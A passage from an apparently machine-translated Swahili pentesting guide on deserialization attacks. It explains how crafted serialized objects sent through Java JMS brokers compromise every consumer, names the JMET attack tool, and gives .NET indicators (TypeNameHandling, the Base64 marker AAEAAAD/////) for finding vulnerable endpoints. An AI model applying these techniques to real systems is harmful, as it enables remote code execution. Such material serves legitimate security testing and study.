Kuna bidhaa kadhaa zinazotumia hii huduma ya kati ya ujumbe kutuma ujumbe:

Utekaji

Kwa hiyo, kimsingi kuna huduma nyingi zinazotumia JMS kwa njia hatari. Kwa hivyo, ikiwa una mamlaka za kutosha kutuma ujumbe kwa huduma hizi (kawaida utahitaji anwani halali) unaweza kuweza kutuma vitengo vilivyoseriwa vibaya ambavyo vitadeseriwa na mtumiaji anayepokea. Hii inamaanisha kwamba katika utekaji huu wateja wote wanaotumia ujumbe huo watapata maambukizi.

Kumbuka kwamba hata kama huduma ni dhaifu (kwa sababu inadeseriliza kuingia kwa mtumiaji kwa njia isiyokuwa salama) bado unahitaji kutafuta vitengo sahihi vya kutumia kasoro.

Zana ya JMET iliumbwa ku kuunganisha na kushambulia huduma hizi kwa kutuma vitengo vingi vilivyoseriwa kwa kutumia vitengo vilivyothibitishwa. Mashambulizi haya yatafanya kazi ikiwa huduma bado ni dhaifu na ikiwa kuna kati ya vitengo vilivyotumiwa ndani ya programu dhaifu.

Marejeo

.Net

Katika muktadha wa .Net, mbinu za utekaji wa deserialization hufanya kazi kwa njia inayofanana na ile inayopatikana katika Java, ambapo vitengo vinatumika kutekeleza nambari maalum wakati wa deserialization ya kitu.

Kalamafuta

Kasha

Msimbo wa chanzo unapaswa kukaguliwa kwa matukio ya:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

Makini inapaswa kuwa kwenye wachambuzi wa data ambao huruhusu aina ya data kubainishwa na kudhibitiwa na mtumiaji.

Kasha Nyeusi

Utafutaji unapaswa kulenga mfuatano wa herufi ulioandikwa kwa Base64 AAEAAAD///// au mfuatano wowote unaofanana ambao unaweza kufanyiwa deserialization upande wa server, ukiruhusu kudhibiti aina ya data itakayodeserialized. Hii inaweza kujumuisha, lakini sio mdogo kwa, miundo ya JSON au XML inayoonyesha TypeObject au